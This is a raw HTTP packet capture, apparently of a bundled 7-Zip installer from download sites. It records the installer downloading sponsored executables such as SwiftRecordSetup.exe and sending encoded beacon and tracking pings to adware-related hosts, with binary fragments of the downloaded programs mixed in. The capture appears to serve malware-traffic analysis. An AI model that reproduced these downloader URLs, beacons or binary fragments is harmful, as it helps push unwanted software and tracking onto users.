.N:b.{...w...X[.qD^J........-..?.W....A.)..`.^.x.......SI..y.....I....
.,.5..........Hz...c.!.k......I.V._t..w...c...:.x ..bF.h.{.*...y..7...
z...$..........7.i.l....&.P...}^1.$|B^.....F..z.W.s...S;<......oe..
.f"eh..r.M.....>.2W.J:![.j..._s...O...8..t6m.....2....tF4(.q_.K....
.....E.i.8.\r..Z...."k...c..1...v.4HP,......6..u9..../.4...YF..P%..z.(
n.XF..V.u.x.w.Z.i.....R..O(c........3...H:...I..Z...3...bV....;.......
..O5n....).......!.f....y...^.r...6..3.....M...q..;r....H.A.[.Dc.AcN..
e.q..`...66....E ;p......e"...#.X.....1{....P...&t._Y=....i.......B...
n..n{...D...1...2.gV.%..V'>...........k.6*...."...6..0....5.Dv.....
.. ........!..iHb.X..!T..Bl..b4E...&.I.T...d{.nA..;.u..t...n.Y..t..8&l
t;..L(.}...#...H..J#atN...W......r%}.g-X.......n....rE....j.n)m9.'...*
t..b.....em.t......$..C..05......?.......D.....T.........Y..X...~k..P.
H|...z.r....J.....& :_..u...,..cc. ,.5.x...T.j.G.xW.;.[ ..P.R.......s.
.gt..... -.-..z.....L...=.q.....,.RzY..m.c...$..]........j.g.]z..d..J.
K..G...s".u|..'...0.3.|..x..>j3....r...7....i<?.....x.....X.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:55 GMT

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Range: bytes 0-523263/523264

Content-Length: 523264

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......;.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /c/SetupComponents.exe HTTP/1.1

User-Agent: Microsoft Internet Explorer

Host: webprotectionfree.com

Cache-Control: no-cache


HTTP/1.1 403 Forbidden

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:12 GMT

Content-Type: text/html

Content-Length: 177

Connection: keep-alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.4.
6 (Ubuntu)</center>..</body>..</html>..HTTP/1.1 403 
Forbidden..Server: nginx/1.4.6 (Ubuntu)..Date: Wed, 22 Apr 2015 08:21:
12 GMT..Content-Type: text/html..Content-Length: 177..Connection: keep
-alive..<html>..<head><title>403 Forbidden</title
></head>..<body bgcolor="white">..<center><h1&
gt;403 Forbidden</h1></center>..<hr><center>ng
inx/1.4.6 (Ubuntu)</center>..</body>..</html>....

GET /app/ping.ashx?e=043Mckb8Lnj5nRk39lR6RSGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtK4f0FPuKZzqbDw9aNRtMZqyZMAOD3mcq6qIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLlL47zzk5bq7iiBgYFKkeG4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbOko2GBeYu4Js7F084kEIF6/Qhoytxt9L9wKkxYqjT c= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:40 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=WL9usJOVMsPXmto/P2xI1iGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKsPYyGQt5yHQzixC5kmTb5s610XCmzC22BHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOL iC/H71WQ Kfz/LBnabZ4tyMdnwSjqVyrGxS5fpqxv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpnzbANYrsS2gQQxJ9I93iAyu0ButGm56Bf/Uc/anY3mQOZi02 fPW7D38JdoZvbQDv3AqTFiqNP5w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:40 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:21:40 GMT..Content-Length: 0..

GET /17416.ashx?e=LCnUzM5l8JJPNjxRBLtb48og2agSuHbz/WD6e6SZIIExLHUkaU0662DlNcv2CDURqIv75/Ca75p3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD93wF8xC533Fcga zuhV9q9HBPj1czTaPD YbVOspTOCGYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgXi8o/D3UbFG5afu6g3zDL9sAA87lr5peQqPeikK78R8xbc 92iXckP2zoGJL1TUxzG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H1Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5Wloo2zG/KclzJ/ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:36 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=482374-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 803955

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 15 Apr 2015 19:00:50 GMT

Content-Range: bytes 482374-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 1bf0d882921b31997e2650c5d2719973.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LjCfPd6flKvFN_jyA9q6BsiBoa29ZWG8I9ng-M2UCvPwHeFGiifSrA==
..'.....yR..T'...&..].R .^...s...I....,..]c....d.2m.V..rw......e[..B..
.. [email protected]!.u..,...!".DR..N.}..A....p..zB...f_..E......-Bq.m...
......=........{.9(#.Z....k......A..d..L....f...Y.^.m..MMW#EOc..._.w.^
q...........S...C..o...2N..b"Q...N.......k..........S...RF.t.<7..".
[email protected]"?jN...A...W .F1.;...*bdY.....,;y...c....|#.
........d..C.t.....fGK..)..b..g9..b......._...J.!........W...a..7./.0o
%...&Q.E.He....*.a..Y...uqAaw..e.Y...x..-h`-......^.&%.m/.....xe......
9..`....3>.L.Y.....9..9..1........Y..m....1.se8...\c.......vT...P..
w.a.9..2..%.dR.........Wc.../T#............$.N..n.J.2.....vi.p..Xpl.v.
.-....9.y.]2..E..^....Z.?r...j7..#.a.P.......9_..,r.1......4.......~..
....6...Z{d..V.V....u3.L.O}8q.5..{|.[...M:qa.D.....j..WjB ..k.....J0..
A.r.....B.4U...d...e=WB.L...xY.4m?y6..]......fe........i.6.)....:f..e.
y,...G(4...<."=bW.X.....'...7..|.F..&..a....0{.3H.d..V..O].$R7>w
O......w}...NWx...O...5`F..;0Q..u>....P.#..d.......]Fy.q.re.."|.i?^
?...r)9......,.l...c...Vf.%.<.cGE.ZW....^.)......t86...)..q......S.
[email protected]..~...6..X<.  ./..X....8.}../.....p*.......sK..6...
-..8e...."rZ..N_76.. ....36"....N.-..h...O*N$.......{.*.....?...=.....
zp..}.6f.=..Q:g..^.C...0c..s"=....-A.y.k.<..aI.Y.C..w..6..>.Vf..
O.[...N.dA....6.....t.#..~...".L.j..".Z.&PA...~ky......L....)ns...x.]}
..5D...t3......O...).^.g..J...I.}...d.`..`H8c..#A.4..y...t.....0...e.n
U...9:[email protected]~.....7....`..?b..r....j.{.... .C!$....X.C....e
..W.;...N6..f.b......&../...g...cWm?k.....^e...U$....}.>.......<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=2&index_in_screen=1&index_in_session=2&display_height=80&0.36491736774588723 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.1.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:28 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:20:28 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAMJz1l6tff2DltkAAQAAwnM= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:24:20 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=d4453fea9bb5e0f6493491c92f628d8791429691060; expires=Thu, 21-Apr-16 08:24:20 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Wed, 22 Apr 2015 06:31:44 GMT

Expires: Sun, 26 Apr 2015 06:31:44 GMT

ETag: "99f838fe22948eba21cbb6299627718a546d7045"

Cache-Control: max-age=10800,public,no-transform,must-revalidate

X-Cache: HIT

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1dafee871aac0f4b-FRA
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0422063144Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z...s.^.}.........s....20150422063144Z....20150426063144Z."0 0..
. .....0......20140422063144Z0...*.H.............[...].2.......Mcc._.U
4>..;.1....'..P._.bqbX......4.k.y.U..vxw?a.C...a.s..d.H}jy..n..*...
gQq........!.......P?\)[email protected].=.-.0......
.]..U..*.$V.....L.n,.*...RVG.k.h...w.U...5...`.}....iy./..ja..i..c....
K6.R.G..~../.'.~...^5Y..../.....0...0...0..........Z.....W.3..........
0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redmond
1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U....Micr
osoft IT SSL SHA20...150304231653Z..150518231653Z0!1.0...U....Should b
e ignore by CA0.."0...*.H.............0...........&!(..$.K...."=f....x
.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q..........
.bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.......
x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.M.O...
..<5:......r.....]..A.5........0..0...U..........<.|[email protected]
|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... ......
.0... .....7....0.0... .......0... .....0......0...*.H................
.9........V.O..o.6........O......8=\..Uy}.%..y.^.*_#@.L.\....s..im.k.\
Y5.h.h.%.&%.E]..G...aAn./q...omj........e.._....|.S...y0..$....|A@.._X
l98k.Q...s5. ;....|p....n/\"d0.c#..7....1Nv...h8.X.G....F.x.(K.....lx1
. .......O.....%.Gk|......"[email protected]/.o-....\.r....@I.<<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=130816-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:55 GMT

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Range: bytes 130816-523263/523264

Content-Length: 392448

Connection: keep-alive
.Y#./[email protected]}R...;B...,..vgQ4...W..O&..
..=.......s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./.
...E..n...........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.
........w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@...
..#...J..h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...
[.6<..M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.
......)..~..b.T.........f...<8...C..$>YC............t..R.....`.*
[email protected]..`.....i...X.y...1.KQ...w,d.....4Oxn..
..... (....6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..
$...l>.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j.
.Y......V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F....
.G...YWH.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>.
.=.1:h8.2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...
[..[..i....Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...
e..^ N.7...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./....
..Zv9.m..P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......
2.....F...@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>
.v..?......>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*&l
t;  rq.L:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...g
O.G'.B.e..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A....
.Z...LVAQd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.
|o.1{Ue..?C^-................T9P.pb..B#.....0_B....:#....v....8<<<< skipped >>>

GET /software_files/7_zip/7zip_32.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: download.filesfrog.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:06 GMT

Content-Type: image/png

Content-Length: 145

Last-Modified: Mon, 10 Jun 2013 04:13:32 GMT

Connection: close

ETag: "51b5526c-91"

Accept-Ranges: bytes
.PNG........IHDR... ... .....I.......PLTE......U..~...FIDATx^[email protected].
....E..N......Y$.....0.R............=.........H.L........=D.Xg.....IEN
D.B`...

GET /7790.ashx?e=/TVH52TeC6RFwtfIvB/2Uko8qwHW8cv/jA5kVqVgWdAgLxC0aXqYrYyox39H7ctISTZgAuf6BVpNATguov8slGAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:36 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /app/ping.ashx?e=LCnUzM5l8JJPNjxRBLtb4 j8TSjavlFmt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVFiMS3IfnnV/WoUPbn8 m8eJ2AXz3DUAfeiVKmshyeUoZg8JvVPLLR8MiltqvJyObgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQxb91FMWgpmsTuQ1DAHiWFFbF1za1PDG7hmocZUcSQS3AHl6w3H159Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:21:35 GMT..Content-Length: 0..HTTP/1.1 200 OK..Cache-Control: pr
ivate..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Power
ed-By: ASP.NET..Date: Wed, 22 Apr 2015 08:21:35 GMT..Content-Length: 0
......

GET /app/ping.ashx?e=bomaaVKFzzKfZNC1TqAoBHsn3FpN4laBfhalIKY8mkHF v7PQ4kXwFfJuLEsXK5wdTDQrchEgee7POMu04e0BSngVvOsCGnWujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1gpJLLN2z FnwCiBUKcGrTX6nvOi2lZHZeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXaBQc7HR56MWNJxXQawroNmbktPzt6FdqYDsLXEeAL2CmrvcVl0Mf/w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:35 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:21:35 GMT..Content-Length: 0..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&0.47954866550261016 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.1.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:22:31 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:22:31 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d110jf50ovcr9h.cloudfront.net

If-Modified-Since: Tue, 14 Apr 2015 08:31:54 GMT

If-None-Match: "552cd07a-6721"

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:23:50 GMT

Server: nginx

ETag: "552cd07a-6721"

Expires: Sun, 19 Apr 2015 05:02:59 GMT

Cache-Control: max-age=600

Age: 162

X-Cache: Hit from cloudfront

Via: 1.1 9391ad8b6b37ce57524439873a355ed0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xzmOZmCJtSiVaWgHpGNquY_bA1hyojqjnZVBvkAQaTHJefjCZ8C-OQ==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Wed, 22 Apr 2
015 08:23:50 GMT..Server: nginx..ETag: "552cd07a-6721"..Expires: Sun, 
19 Apr 2015 05:02:59 GMT..Cache-Control: max-age=600..Age: 162..X-Cach
e: Hit from cloudfront..Via: 1.1 9391ad8b6b37ce57524439873a355ed0.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: xzmOZmCJtSiVaWgHpGNquY_bA1hyojqj
nZVBvkAQaTHJefjCZ8C-OQ==......

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d110jf50ovcr9h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 19 Apr 2015 05:10:42 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 19 Apr 2015 05:20:42 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 350

X-Cache: Hit from cloudfront

Via: 1.1 9391ad8b6b37ce57524439873a355ed0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NNS1_EKx9Ox2zOEmvXj-8RXMQ_dv_eE06OJrNc_638TSUKeSn-TSKw==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=138810-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 971666

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
